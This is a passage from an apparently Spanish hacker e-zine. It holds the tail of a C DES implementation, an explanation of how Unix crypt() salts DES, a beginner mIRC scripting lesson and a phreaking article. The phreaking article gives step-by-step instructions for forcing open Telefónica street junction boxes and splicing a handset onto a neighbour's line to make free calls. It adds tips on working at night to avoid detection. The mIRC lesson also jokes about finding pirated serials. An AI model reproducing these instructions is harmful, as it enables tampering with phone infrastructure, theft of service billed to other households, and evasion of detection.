15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13 ,
/* S2 */
15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9,
/* S3 */
10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12,
/* S4 */
7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14,
/* S5 */
2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3,
/* S6 */
12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13,
/* S7 */
4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12,
/* S8 */
13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11
};
u_char pbox[32] = {
16, 7, 20, 21, 29, 12, 28, 17,
1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9,
19, 13, 30, 6, 22, 11, 4, 25
};
u_char desplaza[16] = {
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
};
void DES_clave(char *clave)
{
u_long sclavei, sclaved;
u_long dclavei, dclaved;
u_long ti, td, tmpi, tmpd;
int c,bit,ciclo,desp = 0;
sclavei = *(long*) clave;
sclaved = *(long*) (clave + 4);
/*
Permutacion de la clave:
Se reordenan los bits de la clave para dar un numero de 56
bits. Los bits de paridad se eliminan.
NOTA: el bit N§1 corresponde al MSD, asi que los bits eliminados
son el 8, 16, 24, ...
*/
dclavei = dclaved = 0;
for (c = 0; c < 28; c++) {
bit = tabla_clave[c];
dclavei |= (((bit > 32) ? (sclaved & bits32[bit - 33]) : (sclavei & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
bit = tabla_clave[c + 28];
dclaved |= (((bit > 32) ? (sclaved & bits32[bit - 33]) : (sclavei & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
}
#ifdef DEBUG
printf(" Clave : %08x%08x\n\n",sclavei,sclaved);
printf(" Eleccion Permutada : %07x%07x -> L=%07x R=%07x\n",(dclavei >> 4),(dclaved >> 4),(dclavei >> 4),(dclaved >> 4));
#endif
tmpi = dclavei;
tmpd = dclaved;
for (ciclo = 0; ciclo < 16; ciclo++) {
desp += desplaza[ciclo];
dclavei = (tmpi << desp) | (tmpi >> (28 - desp));
dclaved = (tmpd << desp) | (tmpd >> (28 - desp));
/*
La clave permutada se desplaza 2 bits a la izquierda
en cada ciclo, menos en el 1, 2, 9 y el ultimo, que se
desplaza 1.
Despues se comprime de acuerdo a la tabla tabla_comp_clave[]
y se guarda en arrays para usarla en DES_cifrar()
*/
ti = td = 0;
for (c = 0; c < 24; c++) {
bit = tabla_comp_clave[c];
ti |= ((((bit > 28) ? (dclaved & bits32[bit - 29]) : (dclavei & bits32[bit - 1])) << (bit - (((bit > 28) ? 29 : 1)))) >> c);
bit = tabla_comp_clave[c + 24];
td |= ((((bit > 28) ? (dclaved & bits32[bit - 29]) : (dclavei & bits32[bit - 1])) << (bit - (((bit > 28) ? 29 : 1)))) >> c);
}
enclavesi[ciclo] = declavesi[15 - ciclo] = ti;
enclavesd[ciclo] = declavesd[15 - ciclo] = td;
/*
enclavesx contiene las claves ordenadas para encriptar y
declavesx contiene (evidentemente) las claves para
esencriptar
*/
}
#ifdef DEBUG
printf(" Llaves intermedias (Ki):\n");
for (c = 1; c <= 16; c++) {
printf(" K%02i = %06x%06x",c,(enclavesi[c - 1] >> 8),(enclavesd[c - 1] >> 8));
if (!(c % 4)) printf("\n");
}
#endif
}
void DES_cifrar(char bloque[8], char salida[8], int flag)
{
u_long d, i, iz, de;
u_long d48, i48;
u_long pb, f;
u_long ri, rd;
u_long *clavesi, *clavesd;
int c, bit, ciclo;
iz = *(long*) bloque;
de = *(long*) (bloque + 4);
if (!flag) {
clavesi = enclavesi;
clavesd = enclavesd;
} else {
clavesi = declavesi;
clavesd = declavesd;
}
/*
Aqui se permuta el bloque a encriptar siguiendo
la tabla PI[] (Permutacion Inicial)
*/
i = d = 0;
for (c = 0; c < 32; c++) {
bit = PI[c];
i |= (((bit > 32) ? (de & bits32[bit - 33]) : (iz & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
bit = PI[c + 32];
d |= (((bit > 32) ? (de & bits32[bit - 33]) : (iz & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
}
#ifdef DEBUG
printf("\n Texto Plano : %08x%08x\n",iz,de);
printf(" Bloque permutado : %08x%08x\n",i,d);
#endif
/*
Comienzan los 16 ciclos
*/
for (ciclo = 0; ciclo < 16; ciclo++) {
d48 = i48 = 0;
/*
Aqui se expande la parte derecha del bloque
de 32 a 48 bits, siguendo la tabla tabla_expan[]
*/
for (c = 0; c < 24; c++) {
bit = tabla_expan[c];
i48 |= ((d & bits32[bit - 1]) << (bit - 1)) >> c;
bit = tabla_expan[c + 24];
d48 |= ((d & bits32[bit - 1]) << (bit - 1)) >> c;
}
/*
XOR de la clave correspondiente al ciclo y el
trozo de bloque expandido
*/
i48 ^= clavesi[ciclo];
d48 ^= clavesd[ciclo];
/*
Desplazo el bloque "XOReado" 1 byte a la derecha,
ya que esta alienado a la izquierda
*/
i48 >>= 8;
d48 >>= 8;
/*
Este es el unico paso no-lineal. Se usan los bits
del bloque "XOReado" en grupos de 6 como indices
para las S-Boxes. Estas ultimas devuelven 4 bits,
que se van concatenando para dar un numero de 32
bits.
*/
pb = (sbox[0][(i48 >> 18)] << 28);
pb |= (sbox[1][((i48 >> 12) & 0x3f)] << 24);
pb |= (sbox[2][((i48 >> 6) & 0x3f)] << 20);
pb |= (sbox[3][(i48 & 0x3f)] << 16);
pb |= (sbox[4][(d48 >> 18)] << 12);
pb |= (sbox[5][((d48 >> 12) & 0x3f)] << 8);
pb |= (sbox[6][((d48 >> 6) & 0x3f)] << 4);
pb |= (sbox[7][(d48 & 0x3f)]);
/*
Y la ultima permutacion del ciclo. Se reordenan
los bits de 'pb', de acuerdo a la tabla pbox[]
*/
f = 0;
for (c = 0; c < 32; c++) {
bit = pbox[c];
f |= ((pb & bits32[bit - 1]) << (bit - 1)) >> c;
}
/*
Se "XORean" 'f' y la parte izquierda del bloque, guardandose
el resultado en la parte derecha, pero antes se copia la derecha
en la izquierda
*/
f ^= i;
i = d;
d = f;
#ifdef DEBUG
printf(" Paso%02i : L=%08x R=%08x ",ciclo+1,i,d);
if (!((ciclo+1) % 2)) printf("\n");
fflush(stdout);
#endif
}
/*
En el ultimo ciclo no hay que intercambiar la parte derecha con
la izquierda, asi que deshacemos el cambio
*/
f = i;
i = d;
d = f;
/*
Y aqui se permuta el resultado de acuerdo a PF[],
que es la inversa de PI[]
*/
ri = rd = 0;
for (c = 0; c < 32; c++) {
bit = PF[c];
ri |= (((bit > 32) ? (d & bits32[bit - 33]) : (i & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
bit = PF[c + 32];
rd |= (((bit > 32) ? (d & bits32[bit - 33]) : (i & bits32[bit - 1])) << (bit - ((bit > 32 ? 33 : 1)))) >> c;
}
#ifdef DEBUG
printf(" Resultado sin permutar:%08x%08x\n",i,d);
printf(" Resultado final :%08x%08x\n",ri,rd);
#endif
*(long*) salida = ri;
*(long*) (salida + 4) = rd;
/* The End */
}
void DES_inicializa()
{
u_long c, d, e, f, g;
/* Rellenar el array bits32[] */
for (c = 0, d = 0x80000000; c < 32; c++, d /= 2) bits32[c] = d;
/* Rellenar la permutacion inversa de PI (PF) */
for (c = 0; c < 64; c++) PF[PI[c] - 1] = c + 1;
/*
Colocar el array de S-Boxes en sbox de forma que
en este ultimo se puedan utilizar los grupos de 6
bits como indices, sin tener que concatenar b0,b5
para la fila y b1-b4 para la columna
*/
for (c = 0; c < 8; c++)
for (d = 0; d < 64; d++)
sbox[c][d] = sboxes[c][((((d & 32) >> 4) | (d & 1)) * 16) + ((d & 30) >> 1) ];
}
void uso(char *ar)
{
printf("Uso:\n");
printf("\t%s <fichero_entrada> <fichero_salida> <clave> <0|1>\n", ar);
printf("\t0 : cifra\n");
printf("\t1 : descifra\n");
exit(0);
}
int main(int argc, char **argv)
{
char clave[9];
char bloque1[8], bloque2[8];
long *b1, *b2;
FILE *fin, *fout;
int cifrar;
#ifdef DEBUG
b1 = &clave[0];
b2 = &clave[4];
*b1 = 0x01234567;
*b2 = 0x89ABCDEF;
memset(bloque1, 0, 8);
DES_inicializa();
DES_clave(clave);
DES_cifrar(bloque1, bloque2, 0);
exit(0);
#endif
if (argc < 5) uso(argv[0]);
fin = fopen(argv[1], "r");
if (!fin) {
printf(" Error abriendo el fichero de entrada\n");
exit(0);
}
fout = fopen(argv[2], "w");
if (!fout) {
printf(" Error creando el fichero de salida\n");
exit(0);
}
memset(clave, 0, 9);
strncpy(clave,argv[3], 8);
printf(" Usando clave %s\n", clave);
DES_inicializa();
DES_clave(clave);
cifrar = atoi(argv[4]);
if (!cifrar) printf("Cifrando...");
else printf("Descifrando...");
fflush(stdout);
memset(bloque1, 0, 8);
while (fread(bloque1, 1, 8, fin) > 0) {
DES_cifrar(bloque1, bloque2, cifrar);
fwrite(bloque2, 1, 8, fout);
memset(bloque1, 0, 8);
}
fflush(NULL);
printf("hecho!\n");
fclose(fin);
fclose(fout);
return 0;
}
<-->
Un peque¤o apunte: la clave tiene que ser de 8 caracteres.
CIFRANDO PASSWORDS EN UNIX
--------------------------
Seguro que mas de uno sabeis que el famoso crypt() de unix es una
variante del DES, pero, ¨sabeis realmente como es?. Yo me hice esa misma
pregunta, y aqui teneis la respuesta:
- Se usa una variacion llamada salt, que varia el algoritmo en uno de 4096
modos diferentes. El salt es un numero de 12 bits, que lo que hace es lo
siguiente:
- Primero se "da la la vuelta", si el salt es 0011, se convierte en 1100.
El resultado son los llamdados "saltbits". Es decir, que si el salt es 1,
saltbits valdra, 0x80000000, un 1 con 31 ceros detras.
- Ahora volvamos a los 16 ciclos, justo despues de la expansion de la parte
derecha (R) a 48 bits. Yo os dije que ahora se Xoreaba la parte derecha
expandida con la clave correspondiente a ese ciclo; pues ahora no. La
parte derecha expandida se parte en dos, r48l y r48r, de 24 bits cada una,
y estas se Xorean entre si, y el resultado se somete a un AND logico con
los saltbits, y el resultado (me estoy rallando xD) se guarda en una
variable temporal f. Ahora la clave correspondiente al ciclo tambien se
parte en dos, y se Xorean de la siguiente manera:
r48l ^= f ^ clave_izquierda;
r48r ^= f ^ clave_derecha;
Ahora las dos mitades se vuelven a unir y se sigue el algoritmo normalmente.
- Pero todavia queda una modificacion: los 16 ciclos del DES... se repiten 25
veces. Si habeis leido bien, 25.
Pero todavia se me queda algo en el tintero: si el DES opera con numeros,
¨como es posible que los passwords cifrados sean 13 caracteres imprimibles?
Pues muy facil. Para cifrar un password se usa como clave el password en si,
y como entrada se usa un bloque de 64 bits en los que todos son ceros, y
devuelve un bloque de 64 bits. Este bloque de salida se cifra con algoritmo
parecido al base64, cogiendo bloques de 6 bits y sustituyendolos por una
del array ascii64[]. 64 / 6 da 10 coma algo, redondeando a 11, y los dos
caracteres restantes, el salt!, 12 bits entre 6 da 2. 11 + 2 = 13.
<Ripe: Hemos decidido adjuntar un fichero con la
libreria libcrypt que contiene la funcion
crypt() de manera que podais entenderlo
mejor>
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º7.- mIRC Scripting I º Programacion º º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ AiNaKeR ]
Bueno aqui me teneis de nuevo... Decir que todo esto viene por una
proposicion que se me hizo ademas han llegado emails con peticiones sobre
este curso asi que no me entretengo mas...
Bien... empezemos con un poco de cultura...
Supongo que todos sabreis que es y que significa IRC, pero para
aquellos que no lo sepan Internet Relay Chat sistema de conversacion escrita
y multiusuario donde la gente esta en diferentes canales que tratan de algo
en concreto pj, #hacker_novatos, #networking o #paradigma :D (publi rlz!) xD
IRC nacio de la mano de un finlandes si no recuerdo mal cuyo proposito
era crear un sitema de multiconversaciones para las BBS en tiempo real.
Mucha gente usa el IRC para contar lo que no puede o no se atreve en
la realidad, debido a que se escudan tras su anonimato (jejeje eso es lo que
ellos se creen, xD)
Todos hemos sido alguna vez novatos (y quien dice que no lo seamos,
Ripe ?) y nos hemos quedado pasmados con los colores de que la gente ponia en
el mIRC (posiblemente salgan aquellos que ya conectaban a inet con pantalas
monocromo desde su unix, pero ese no es mi caso :P (si ya se ke win sucks
pero no se scripting para ningin cliente de linux :( ) todo esto lo hacen por
medio de scripts (o son masokas y lo hacen to a mano xDD)
Bien, llegado a este punto, preguntareis que es un script? bien, pos
ahora no me se ninguna definicion totalmente correcta, pero diria que es una
especie de subprograma que va anidado a otro y que realiza diversas funciones
algo asi como una dll en windows, no?
Pero no todos los scripts estan hechos para lo mismo... hay scripts
para chorradas muy comunes :D, scritps para guerra (y no me refiero al mesias
que tanto se ve por ahi, el cual no es mas que una copia con un par de
a¤adidos... en fin, scripts para todo lo que tu quieras, mientras sea
posible.
Bien, decir nada mas que para este curso te hace falta bajar el mIRC
( www.mirc.com ) es shareware, pero en caso de necesitar registrarlo, quien
no es capaz de encontrar un serial :?
Vamos ya con la practica...
mIRC nos ofrece 5 secciones que debemos tener en cuenta, estas son:
-Alias: Aqui se programan alias con lo que haremos que el mirc ejecute n
comandos de una sola vez. Algo asi como los ficheros BATCH o los
alias de UNIX, aunque con BASTANTE menos potencia :P
-Remote script: La parte mas importante a mi entender (o sea ninguna) del
script. Aqui se definen los eventos, como reaccionara el
script ante distintas situaciones y/o comandos. Se divide en
CTCP's Events y Raw.
-Popups: Aqui se definen los menus del mIRC.
-Status: abre un menu en la ventana de status y deberia contener
comandos relacionados con el servidor
-Channel: este sera el menu que se nos abrira en un canal
cualquiera
-Nickname list: y este menu se nos abre sobre el nick que tengamos
seleccionado y realiza las acciones con respecto a
ese nick
-Query/Chat: menu que aparecera cuando estemos en kery o en chat y
tambien efectua las acciones sobre ese nick en concreto
-Menu Bar: menu que aparece en la parte superior de la barra del
mIRC, entre DCC y Windows. En el mIRC original se la
barra se llama Commands
Nos quedan otras de menos complejidad como son Users y Variables.
Bueno, pues manos a la obra...
Bien, por su facilidad y utilidad, vamos a empezar con la creacion de los
alias, pero antes de nada, es muy importante conocer todos los comandos de
que dispone mIRC, o al menos, los mas importantes...
Bueno, espero que sabreis que para ejecutar un comando, antes hay que poner
'/', no obstante, la pongo en la sintaxis de cada comando :P
Empezare por los mas importantes:
/join [#canal]
Con este comando, entramos a el canal en cuestion...
/part [#canal]
Con este otro, salimos :P
/quit [mensaje de despedida]
Salimos del Irc con el mensaje de quit que pongamos, y
no el cutre ese de Leaving!
/query [nick] [lo que quieras decirle]
Le abre una ventana de conversacion privada al nick que
queramos con lo que escribamos
/msg [nick] [lo que quieras decirle]
Le envia un mensaje al nick que queramos... si usa mIRC,
se le abrir un query, pero a vosotros, no
/mode [#canal o nick] [+/-] modo [parametros]
Este ya es comando mas complejo y bastante potente... con
en tenemos control sobre canales y otros usuarios como nosotros
Debemos escribir el nombre del canal o el nick segun
queramos modificar el estado de uno u otro... con +/- damos o
quitamos ese modo a el objeto.
-- Modos para los nick's --
o -Es el estado de operador de IRC en ese canal, solo podemos
darlo o quitarlo si lo poseemos (esa @ que los nick tienen delante)
s -Activamos el modo para recibir las noticias del servidor
i -Nos hacemos invisibles ante todo aquel que no conozca
nuestro nick
v -Damos voz a un usuario para que este pueda hablar en un
canal moderado (se representa con +)
-- Modos para los canales --
i -Convierte en canal en accesible solo para invitados
m -Canal moderado (solo operador y usuarios con voz pueden hablar)
p -Canal privado
s -Canal secreto (No se vera que estamos en el al hacernos un
/whois a menos que esa persona tambien se encuentre en dicho canal
ni aparecera al hacer un /list)
n -Prohibe los mensajes desde fuera del canal
o [nick] -Convierte en operador a dicho nick
k [clave] -Pone clave secreta al canal (como en #hackers & #hack)
t -Protege el topico para que solo los operadores puedan cambiarlo
b [forma] -Banea a un miembro del canal... su sintaxis es diversa:
nick!*@*.dominio
nick!*User ID@*.dominio
nick!*@host.dominio
nick!*@host.dominio
nick!*User ID@host.dominio
nick!*User ID@host.dominio
*!*@*.dominio
*!* User ID@*.dominio
*!*@host.dominio
*!* User ID@host.dominio
*!User ID@host.dominio
/away [motivo de away (chorrada)]
Muestra un mensaje diciendo que en este momento no estamos
presentes o no estamos antendiendo al IRC. Si alguien nos hace un
/whois o nos manda un mensaje, le aparecera lo anterior. Con away
sin motivo, desactivamos el modo away
/whois [nick]
Muestra informacion acerca de dicho nick
/whowas [nick]
Equivalente al whois, pero sobre ua personaje que dejo el IRC
hace poco
/who [ip]
Nos dira el nick correspondiente a dicha ip, muy util cuando
intentan desconetarnos y el sujeto no se encuentra en modo invisible
/kick [#canal] [nick] [mensaje]
Expulsa del canal a dicho nick. El mensaje es opcional. Solo
puede ser ejecutado por operadores
/ctcpreply [nick] [tipo_de_ctcp] [mensaje]
Manda una respuesta a CTCP del tipo
expresado.
/me [mensaje]
Manda un mensaje al canal indicando que hacemos.
/ignore {nick} [type]
Con este comando podemos ignorar todos los mensajes procedentes
de un usuario concreto. Si no se especifica type, sera ignorado todo
lo envido por el.
/notify [nick]
Indicamos con este comando a mIRC que nos avise si el nick
conecta a la red mientras entamos en ella.
/notice [nick o canal] [mensaje]
Mandamos un mensaje al nick o a todos los ocupantes de un
canal sin abrir un query.
/run [Programa o fichero] [parametros]
Nos permite ejecutar el programa que deseemos.
/set [%variable [valor]
Con este comando damos a valor a una variable.
/topic [#canal] [Topic]
Asi modificamos el topic del canal.
/titlebar [texto]
Muestra el texto que deseemos en la barra de titulo de mIRC.
/echo [mensaje]
Hace aparecer en la pantalla del usuario del mensaje.
De momento creo que con estos comandos y otros que investigueis tendreis
suficiente (la ayuda de mIRC trae una relacion de todos los cmandos
disponibles para la version que usais, pero a medida que vaya avanzando el
curso, se iran comentando nuevos comandos a la vez que los usamos.
Ahora que ya conocemos algunos comandos de mIRC, es el momento de
hablar de los identificadores. Estos son algo asi como unas variables que ya
tienen valor asignado, aunque este no es constante; asi, tenemos el
identificador '$date', que nos devuelve la fecha actual, '$day' que devuelve
el dia actual, '$idle', que devuelve el idle de alguien, o sea, su tiempo
inactivo, etc...
Al igual que los comandos, creo que lo mejor para los identificadores
es que vayamos comentandolos segun su uso, y si alguien necesita conocerlos
con urgencia, pues que le eche un vistazo a la ayuda de mIRC, que para eso
esta :P
Bueno, si habeis llegado hasta aqui aguantando toda esta teoria es
que, o realmente estais interesados, o que no teneis nada que hacer :P; en
cualquier caso, comenzaremos a personalizar nuestro mIRC, a crear nuestro
script
Bien...
Los alias podemos crearlos en casi cualquier parte del script, pero
para empezar, creo que lo mejor seria que los creaseis en el .ini que mIRC
usa por defecto, el aliases.ini
mIRC dispone de un editor para programar nuestros scripts desde donde
podemos indicarle que ficheros cargar, borrar, etc...
Sin embargo, tiene el problema de que con los ficheros demasiado
grandes pierde informacion, por lo que no os recomiendo que lo pongais todo
en un solo fichero, sino ordenado en varios ficheros segun su funcion :P
Ok... Abrimos el mIRC y presionamos Alt+A, entonces se nos abrira
una ventana con varias pesta¤as, en este caso, estar seleccionada la
pesta¤a Aliases, y podremos ver algunos alias que mIRC trae por defecto :P
Bueno, la sintaxis del alias es bastante simple:
/nombre-del-alias Comandos-que-ejecuta
Asi, creamos nuestro 1er alias, por ejemplo:
/saludo /say Hola a todos!!
Puag, ke mal que queda, eh? ( Es solo un ejemplo :P)
Bien, los alias no tienen porque limitarse a un comando o a una linea
podemos dividirlos de la siguiente forma:
/inicio{
join #networking
join #paradigma
join #7a69
}
De esta forma, cada vez que pusiesemos /inicio entrariamos a los
canales networking, paradigma y 7a69 :P
Bien, esto no tiene demasiada utilidad mientras no se haga uso de los
identificadores, aunque los mas vagos, se llevaran una alegria :PPP xDD
Sin embargo, si en lugar de poner
/saludo /say Hola a todos!!
ponemos, como el mIRC trae...
/op /mode # $$1 +ooo $$1 $2 $3
Dariamos op en el canal a aquel que pusiesemos tras el comando /op,
que daria valor en ese momento a $1, o $2, etc...
Bien, aun podemos dejarlo mejor si pusiesemos:
/op{
/mode $chan +o $?="Escribe el nick al que quieres dar op"
}
Asi, si tecleasemos /op, mIRC abriria una ventana en la que nos
pediria el nick al que queremos dar op
En este alias hemos hecho uso de un identificador nuevo, $chan, el
cual hace referencia al canal en el que nos encontramos cuando ejecutamos el
comando :P
Bueno, aqui concluye este primer numero sobre la programacion de
scripts el cual no puedo decir que duracion tendra; todo depende del tiempo
que tenga (son las 3:30 :P)
En el proximo numero trataremos por completo los alias y comenzaremos
con la edicion de menus, la parte mas atractiva y menos importante del script
:P
Puesto que el mail esta momentaneamente fuera de servicio por no se
que paranoia del webmaster de mixmail, si alguien tiene alguna duda que me
la pregunte por IRC o mande un mail a la revista, que ya le contesto :)
Saludos a Freed0m, ^Strahd^, GoMi, y la gente de #networking y la de
#paradigma :)
<Ripe: Yo saludo a mi mama >
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º8.- Introduccion al phreaking º Phreaking º Medio/Bajo º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Relay ]
Esto solo pretende ampliar los conocimientos acerca de las lineas telefonicas
y de su vulnerabilidad en si. El autor no se resposabiliza del mal uso de la
informacion aqui expuesta ni de sus consecuencias.
Todos nos hemos venido fijando, ultimamente, en las cajetillas de Timofonica
que podemos encontrar en cualquier rincon de nuestra ciudad/pueblo (aunque en
el pueblo es mas dificil encontrar las cajetillas que en las urbanizaciones
de las grandes ciudades etc) de donde sale nuestra linea particular que
usamos siempre para llamar a amigos, familiares, novias, etc. y la tentacion
de abrir una con el fin de no pagar ciertas llamadas es grande pero algo te
frena. Ese algo es la falta de procedimientos acerca de como hacerlo.
Intentare explicar el procedimiento e introducir un poco acerca de ello.
Herramientas necesarias:
-Mechero
-Cuchilla que corte (cuidado con los dedos)
-Un telefono con los hilos cortados
-Llave triangular (para abrir las cajetillas) o en su defecto mucha
ma¤a.
Atencion!: Nunca practicar esto a plena luz del dia, mas que nada porque se
nos ve demasiado y durante la noche es mas dificil que nos vean o sepan que
estamos haciendo al lado del poste telefonico.
Despues de varios rodeos por una zona (siempre lo mas desconectada posible de
tu zona de residencia) hemos encontrado la cajetilla a "sabotear".
Las cajetillas son faciles de reconocer: color beige grisaceo y abultan
bastante en las urbanizaciones con el signo de Timofonica en medio y con
relieve. Pues bien, el metodo rudimentario es el siguiente:
Usamos la llave triangular (la ideal es la que se usa en las gasolineras para
abrir la caja de los puentes de lavado de coches) para hacer girar el
pestillo de seguridad y abrir la cajetilla. Recordemos que en el defecto de
llevar una llave adecuada, con un poco de ma¤a y tres maderas planas
peque¤itas se puede conseguir el mismo objetivo como si estuvieramos comiendo
a lo chino. Et voila!! Ya tenemos la cajetilla abierta.
Podemos observar que hay una columna central formada por una regleta de
conexiones (de telefono si :) ) que puede estar o no ocupada al completo. Por
norma general, Timofonica deja la ultima conexion de abajo para probar si la
linea realmente funciona, es decir, que solo la usan los operarios para hacer
comprobaciones y dicha linea esta restringida a llamadas locales (ideal para
conectar el portatil a Internet XD) que no usaremos para no ser pillados.
Para asegurarnos una buena linea, utilizaremos alguna de las que esten
ocupadas para no meternos en meollos con la centralita. Ahora viene el paso
mas emocionante: utilizaremos el mechero y la cuchilla para pelar los cables
que esten conectados a la regleta central. Tranquilos, no fundiremos el cable
puesto que es de cobre y necesita un poco mas que el calor generado por el
mechero para fundirse, con esto no kiero decir que tengais que estar
demasiado tiempo dandole puesto que el cable se chamuscara un poco y no
ofrecera mucha opcion a empalmar con el telefono. Con darle un poquito es
suficiente, porque usaremos la cuchilla para quitar el plastico que rodea al
cable en la zona que queramos empalmar el telefono (siempre lo mas cerca
posible de la regleta principal).
Una vez acabo esto, sacaremos nuestro telefonillo con los cables pelados
para realizar el empalme a la linea "saboteada". Una puntuacion para los no
iniciados y no entendidos: el cable que va del telefono a la linea normal
lleva 4 cables de diferentes colores, de estos 4 cables solo funcionan los 2
de enmedio, los de los extremos los podeis separar ya que no se usaran (por
esto cuando vais a comprar cable telefonico solo son 2 cables en medio de
todo, porque son los que se usan). Este es el ultimo punto para realizar el
primer phreaking de tu vida. Tenemos la cajetilla abierta, los cables listos
para empalmar, y el telefono en las manos con los 2 cables listos para hacer
la operacion. Ahora viene la pregunta que todos nos hemos hecho alguna vez,
¨como se que cable empalmar a la linea? Facil contestacion, habra uno de los
dos cables del telefono que tenga el mismo color que el de la cajetilla, pos
unis (empalmais) los del mismo color y los otros 2 entre si. Sabreis que el
empalme ha funcionado porke al descolgar el telefono tendreis linea ( si no
estan hablando por mala suerte, con lo que querra decir que habeis empalmado
a una casa de al lado), si no funciona, probad a cambiar los empalmes. Pero
tiene que funcionar porque es asi y os lo digo yo :)
Lo mas divertido de esto es cambiar el contestador de telefonica que viene
por defecto en la centralita, pero se pueden hacer otras cosas.
Hasta aqui la introduccion al phreaking que os puedo dar. No hagais nunca
nada que yo no haria con buena voluntad.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º9.- Buscadores y troyanos; la º Internet...... º Muy Bajo º
º moda de Internet º º º
